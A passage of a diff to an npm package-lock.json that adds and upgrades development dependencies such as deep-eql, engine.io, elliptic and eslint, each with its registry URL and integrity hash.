"assert-plus": "1.0.0" } }, + "date-format": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/date-format/-/date-format-1.2.0.tgz", + "integrity": "sha1-YV6CjiM90aubua4JUODOzPpuytg=", + "dev": true + }, "date-now": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", @@ -2317,23 +3470,27 @@ "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", "dev": true }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", + "dev": true + }, "deep-eql": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-0.1.3.tgz", - "integrity": "sha1-71WKyrjeJSBs1xOQbXTlaTDrafI=", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", + "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", "dev": true, "requires": { - "type-detect": "0.1.1" - }, - "dependencies": { - "type-detect": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-0.1.1.tgz", - "integrity": "sha1-C6XsKohWQORw6k6FBZcZANrFiCI=", - "dev": true - } + "type-detect": "4.0.8" } }, + "deep-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.0.1.tgz", + "integrity": "sha1-9dJgKStmDghO/0zbyfCK0yR0SLU=", + "dev": true + }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", @@ -2341,20 +3498,66 @@ "dev": true }, "define-properties": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.2.tgz", - "integrity": "sha1-g6c/L+pWmJj7c3GTyPhzyvbUXJQ=", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", + "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "requires": { - "foreach": "2.0.5", - "object-keys": "1.0.11" + "object-keys": "1.0.12" } }, - "defined": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", - "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", - "dev": true + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "1.0.2", + "isobject": "3.0.1" + }, + "dependencies": { + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } }, "del": { "version": "2.2.2", @@ -2364,7 +3567,7 @@ "requires": { "globby": "5.0.0", "is-path-cwd": "1.0.0", - "is-path-in-cwd": "1.0.0", + "is-path-in-cwd": "1.0.1", "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1", @@ -2378,11 +3581,21 @@ "dev": true }, "depd": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", - "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", "dev": true }, + "des.js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", + "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", + "dev": true, + "requires": { + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" + } + }, "destroy": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", @@ -2398,6 +3611,12 @@ "repeating": "2.0.1" } }, + "detect-node": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.3.tgz", + "integrity": "sha1-ogM8CcyOFY03dI+951B4Mr1s4Sc=", + "dev": true + }, "di": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/di/-/di-0.0.1.tgz", @@ -2410,20 +3629,64 @@ "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", "dev": true }, - "doctrine": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.0.0.tgz", - "integrity": "sha1-xz2NKQnSIpHhoAejlYBNqLZl/mM=", + "diffie-hellman": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", + "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", "dev": true, "requires": { - "esutils": "2.0.2", - "isarray": "1.0.0" + "bn.js": "4.11.8", + "miller-rabin": "4.0.1", + "randombytes": "2.0.6" + } + }, + "dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha1-s55/HabrCnW6nBcySzR1PEfgZU0=", + "dev": true + }, + "dns-packet": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.1.tgz", + "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==", + "dev": true, + "requires": { + "ip": "1.1.5", + "safe-buffer": "5.1.1" + } + }, + "dns-txt": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dns-txt/-/dns-txt-2.0.2.tgz", + "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", + "dev": true, + "requires": { + "buffer-indexof": "1.1.1" + } + }, + "doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "requires": { + "esutils": "2.0.2" + } + }, + "dom-converter": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.1.4.tgz", + "integrity": "sha1-pF71cnuJDJv/5tfIduexnLDhfzs=", + "dev": true, + "requires": { + "utila": "0.3.3" }, "dependencies": { - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "utila": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.3.3.tgz", + "integrity": "sha1-1+jn1+MJEHCSsF+NloiCTWM6QiY=", "dev": true } } @@ -2445,6 +3708,24 @@ "void-elements": "2.0.1" } }, + "dom-serializer": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.0.tgz", + "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", + "dev": true, + "requires": { + "domelementtype": "1.1.3", + "entities": "1.1.1" + }, + "dependencies": { + "domelementtype": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.1.3.tgz", + "integrity": "sha1-vSh3PiZCiBrsUVRJJCmcXNgiGFs=", + "dev": true + } + } + }, "dom-walk": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.1.tgz", @@ -2452,16 +3733,91 @@ "dev": true }, "domain-browser": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.1.7.tgz", - "integrity": "sha1-hnqksJP6oF8d4IwG9NeyH9+GmLw=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", + "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", "dev": true }, + "domelementtype": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.0.tgz", + "integrity": "sha1-sXrtguirWeUt2cGbF1bg/BhyBMI=", + "dev": true + }, + "domhandler": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.1.0.tgz", + "integrity": "sha1-0mRvXlf2w7qxHPbLBdPArPdBJZQ=", + "dev": true, + "requires": { + "domelementtype": "1.3.0" + } + }, + "domutils": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", + "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", + "dev": true, + "requires": { + "dom-serializer": "0.1.0", + "domelementtype": "1.3.0" + } + }, "downloadjs": { "version": "1.4.7", "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" }, + "duplexify": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", + "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", + "dev": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, "dynamics.js": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/dynamics.js/-/dynamics.js-1.1.5.tgz", @@ -2484,9 +3840,9 @@ "dev": true }, "electron-to-chromium": { - "version": "1.3.18", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.18.tgz", - "integrity": "sha1-PcyZ2j5rZl9qu8ccKK1Ros1zGpw=", + "version": "1.3.58", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.58.tgz", + "integrity": "sha512-AGJxlBEn2wOohxqWZkISVsOjZueKTQljfEODTDSEiMqSpH0S+xzV+/5oEM9AGaqhu7DzrpKOgU7ocQRjj0nJmg==", "dev": true }, "element-resize-event": { @@ -2494,6 +3850,21 @@ "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, + "elliptic": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.1.tgz", + "integrity": "sha512-BsXLz5sqX8OHcsh7CqBMztyXARmGQ3LWPtGjJi6DiJHq5C/qvi9P3OqgswKSDftbu8+IoI/QDTAm2fFnQ9SZSQ==", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "brorand": "1.1.0", + "hash.js": "1.1.5", + "hmac-drbg": "1.0.1", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" + } + }, "emitter-component": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/emitter-component/-/emitter-component-1.1.1.tgz", @@ -2506,9 +3877,9 @@ "dev": true }, "encodeurl": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.1.tgz", - "integrity": "sha1-eePVhlU0aQn+bw9Fpd5oEDspTSA=", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", "dev": true }, "encoding": { @@ -2519,111 +3890,92 @@ "iconv-lite": "0.4.18" } }, - "engine.io": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-1.8.3.tgz", - "integrity": "sha1-jef5eJXSDTm4X4ju7nd7K9QrE9Q=", + "end-of-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", + "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", "dev": true, "requires": { - "accepts": "1.3.3", + "once": "1.4.0" + } + }, + "engine.io": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.2.0.tgz", + "integrity": "sha512-mRbgmAtQ4GAlKwuPnnAvXXwdPhEx+jkc0OBCLrXuD/CRvwNK3AxRSnqK4FSqmAMRRHryVJP8TopOvmEaA64fKw==", + "dev": true, + "requires": { + "accepts": "1.3.5", "base64id": "1.0.0", "cookie": "0.3.1", - "debug": "2.3.3", - "engine.io-parser": "1.3.2", - "ws": "1.1.2" + "debug": "3.1.0", + "engine.io-parser": "2.1.2", + "ws": "3.3.3" }, "dependencies": { "debug": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.3.3.tgz", - "integrity": "sha1-QMRT5n5uE8kB3ewxeviYbNqe/4w=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "ms": "0.7.2" + "ms": "2.0.0" } - }, - "ms": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.2.tgz", - "integrity": "sha1-riXPJRKziFodldfwN4aNhDESR2U=", - "dev": true } } }, "engine.io-client": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-1.8.3.tgz", - "integrity": "sha1-F5jtk0USRkU9TG9jXXogH+lA1as=", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-3.2.1.tgz", + "integrity": "sha512-y5AbkytWeM4jQr7m/koQLc5AxpRKC1hEVUb/s1FUAWEJq5AzJJ4NLvzuKPuxtDi5Mq755WuDvZ6Iv2rXj4PTzw==", "dev": true, "requires": { "component-emitter": "1.2.1", "component-inherit": "0.0.3", - "debug": "2.3.3", - "engine.io-parser": "1.3.2", + "debug": "3.1.0", + "engine.io-parser": "2.1.2", "has-cors": "1.1.0", "indexof": "0.0.1", - "parsejson": "0.0.3", "parseqs": "0.0.5", "parseuri": "0.0.5", - "ws": "1.1.2", - "xmlhttprequest-ssl": "1.5.3", + "ws": "3.3.3", + "xmlhttprequest-ssl": "1.5.5", "yeast": "0.1.2" }, "dependencies": { - "component-emitter": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", - "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", - "dev": true - }, "debug": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.3.3.tgz", - "integrity": "sha1-QMRT5n5uE8kB3ewxeviYbNqe/4w=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "ms": "0.7.2" + "ms": "2.0.0" } - }, - "ms": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.2.tgz", - "integrity": "sha1-riXPJRKziFodldfwN4aNhDESR2U=", - "dev": true } } }, "engine.io-parser": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-1.3.2.tgz", - "integrity": "sha1-k3sHnwAH0Ik+xW1GyyILjLQ1Igo=", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.1.2.tgz", + "integrity": "sha512-dInLFzr80RijZ1rGpx1+56/uFoH7/7InhH3kZt+Ms6hT8tNx3NGW/WNSA/f8As1WkOfkuyb3tnRyuXGxusclMw==", "dev": true, "requires": { "after": "0.8.2", - "arraybuffer.slice": "0.0.6", + "arraybuffer.slice": "0.0.7", "base64-arraybuffer": "0.1.5", "blob": "0.0.4", - "has-binary": "0.1.7", - "wtf-8": "1.0.0" + "has-binary2": "1.0.3" } }, "enhanced-resolve": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-0.9.1.tgz", - "integrity": "sha1-TW5omzcl+GCQknzMhs2fFjW4ni4=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz", + "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", "dev": true, "requires": { "graceful-fs": "4.1.11", - "memory-fs": "0.2.0", - "tapable": "0.1.10" - }, - "dependencies": { - "memory-fs": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.2.0.tgz", - "integrity": "sha1-8rslNovBIeORwlIN6Slpyu4KApA=", - "dev": true - } + "memory-fs": "0.4.1", + "tapable": "1.0.0" } }, "ent": { @@ -2632,34 +3984,40 @@ "integrity": "sha1-6WQhkyWiHQX0RGai9obtbOX13R0=", "dev": true }, + "entities": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.1.tgz", + "integrity": "sha1-blwtClYhtdra7O+AuQ7ftc13cvA=", + "dev": true + }, "errno": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.4.tgz", - "integrity": "sha1-uJbiOp5ei6M4cfyZar02NfyaHH0=", + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", + "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", "dev": true, "requires": { - "prr": "0.0.0" + "prr": "1.0.1" } }, "error-ex": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", - "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "dev": true, "requires": { "is-arrayish": "0.2.1" } }, "es-abstract": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.8.0.tgz", - "integrity": "sha512-Cf9/h5MrXtExM20gSS55YFrGKCyPrRBjIVBtVyy8vmlsDfe0NPKMWj65tPLgzyfPuapWxh5whpXCtW4+AW5mRg==", + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.12.0.tgz", + "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", "dev": true, "requires": { "es-to-primitive": "1.1.1", - "function-bind": "1.1.0", - "has": "1.0.1", - "is-callable": "1.1.3", + "function-bind": "1.1.1", + "has": "1.0.3", + "is-callable": "1.1.4", "is-regex": "1.0.4" } }, @@ -2669,65 +4027,39 @@ "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", "dev": true, "requires": { - "is-callable": "1.1.3", + "is-callable": "1.1.4", "is-date-object": "1.0.1", "is-symbol": "1.0.1" } }, "es5-ext": { - "version": "0.10.26", - "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.26.tgz", - "integrity": "sha1-UbISilMbcMT2dkCTpzy+u4IYY3I=", + "version": "0.10.46", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.46.tgz", + "integrity": "sha512-24XxRvJXNFwEMpJb3nOkiRJKRoupmjYmOPVlI65Qy2SrtxwOTB+g6ODjBKOtwEHbYrhWRty9xxOWLNdClT2djw==", "dev": true, "requires": { - "es6-iterator": "2.0.1", - "es6-symbol": "3.1.1" + "es6-iterator": "2.0.3", + "es6-symbol": "3.1.1", + "next-tick": "1.0.0" } }, "es6-iterator": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.1.tgz", - "integrity": "sha1-jjGcnwRTv1ddN0lAplWSDlnKVRI=", + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", "dev": true, "requires": { "d": "1.0.0", - "es5-ext": "0.10.26", + "es5-ext": "0.10.46", "es6-symbol": "3.1.1" } }, - "es6-map": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz", - "integrity": "sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=", - "dev": true, - "requires": { - "d": "1.0.0", - "es5-ext": "0.10.26", - "es6-iterator": "2.0.1", - "es6-set": "0.1.5", - "es6-symbol": "3.1.1", - "event-emitter": "0.3.5" - } - }, "es6-promise": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", "dev": true }, - "es6-set": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.5.tgz", - "integrity": "sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=", - "dev": true, - "requires": { - "d": "1.0.0", - "es5-ext": "0.10.26", - "es6-iterator": "2.0.1", - "es6-symbol": "3.1.1", - "event-emitter": "0.3.5" - } - }, "es6-symbol": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.1.tgz", @@ -2735,19 +4067,17 @@ "dev": true, "requires": { "d": "1.0.0", - "es5-ext": "0.10.26" + "es5-ext": "0.10.46" } }, - "es6-weak-map": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.2.tgz", - "integrity": "sha1-XjqzIlH/0VOKH45f+hNXdy+S2W8=", + "es6-templates": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/es6-templates/-/es6-templates-0.2.3.tgz", + "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", "dev": true, "requires": { - "d": "1.0.0", - "es5-ext": "0.10.26", - "es6-iterator": "2.0.1", - "es6-symbol": "3.1.1" + "recast": "0.11.23", + "through": "2.3.8" } }, "escape-html": { @@ -2793,71 +4123,226 @@ } } }, - "escope": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/escope/-/escope-3.6.0.tgz", - "integrity": "sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=", - "dev": true, - "requires": { - "es6-map": "0.1.5", - "es6-weak-map": "2.0.2", - "esrecurse": "4.2.0", - "estraverse": "4.2.0" - } - }, "eslint": { - "version": "3.19.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-3.19.0.tgz", - "integrity": "sha1-yPxiAcf0DdCJQbh8CFdnOGpnmsw=", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.3.0.tgz", + "integrity": "sha512-N/tCqlMKkyNvAvLu+zI9AqDasnSLt00K+Hu8kdsERliC9jYEc8ck12XtjvOXrBKu8fK6RrBcN9bat6Xk++9jAg==", "dev": true, "requires": { - "babel-code-frame": "6.22.0", - "chalk": "1.1.3", - "concat-stream": "1.6.0", - "debug": "2.6.8", - "doctrine": "2.0.0", - "escope": "3.6.0", - "espree": "3.5.0", - "esquery": "1.0.0", - "estraverse": "4.2.0", + "ajv": "6.5.2", + "babel-code-frame": "6.26.0", + "chalk": "2.4.1", + "cross-spawn": "6.0.5", + "debug": "3.1.0", + "doctrine": "2.1.0", + "eslint-scope": "4.0.0", + "eslint-utils": "1.3.1", + "eslint-visitor-keys": "1.0.0", + "espree": "4.0.0", + "esquery": "1.0.1", "esutils": "2.0.2", "file-entry-cache": "2.0.0", + "functional-red-black-tree": "1.0.1", "glob": "7.1.2", - "globals": "9.18.0", - "ignore": "3.3.3", + "globals": "11.7.0", + "ignore": "4.0.6", "imurmurhash": "0.1.4", - "inquirer": "0.12.0", - "is-my-json-valid": "2.16.0", - "is-resolvable": "1.0.0", - "js-yaml": "3.7.0", - "json-stable-stringify": "1.0.1", + "inquirer": "5.2.0", + "is-resolvable": "1.1.0", + "js-yaml": "3.12.0", + "json-stable-stringify-without-jsonify": "1.0.1", "levn": "0.3.0", - "lodash": "4.17.4", + "lodash": "4.17.10", + "minimatch": "3.0.4", "mkdirp": "0.5.1", "natural-compare": "1.4.0", "optionator": "0.8.2", "path-is-inside": "1.0.2", - "pluralize": "1.2.1", - "progress": "1.1.8", + "pluralize": "7.0.0", + "progress": "2.0.0", + "regexpp": "2.0.0", "require-uncached": "1.0.3", - "shelljs": "0.7.8", - "strip-bom": "3.0.0", + "semver": "5.5.0", + "string.prototype.matchall": "2.0.0", + "strip-ansi": "4.0.0", "strip-json-comments": "2.0.1", - "table": "3.8.3", - "text-table": "0.2.0", - "user-home": "2.0.0" + "table": "4.0.3", + "text-table": "0.2.0" + }, + "dependencies": { + "babel-code-frame": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", + "integrity": 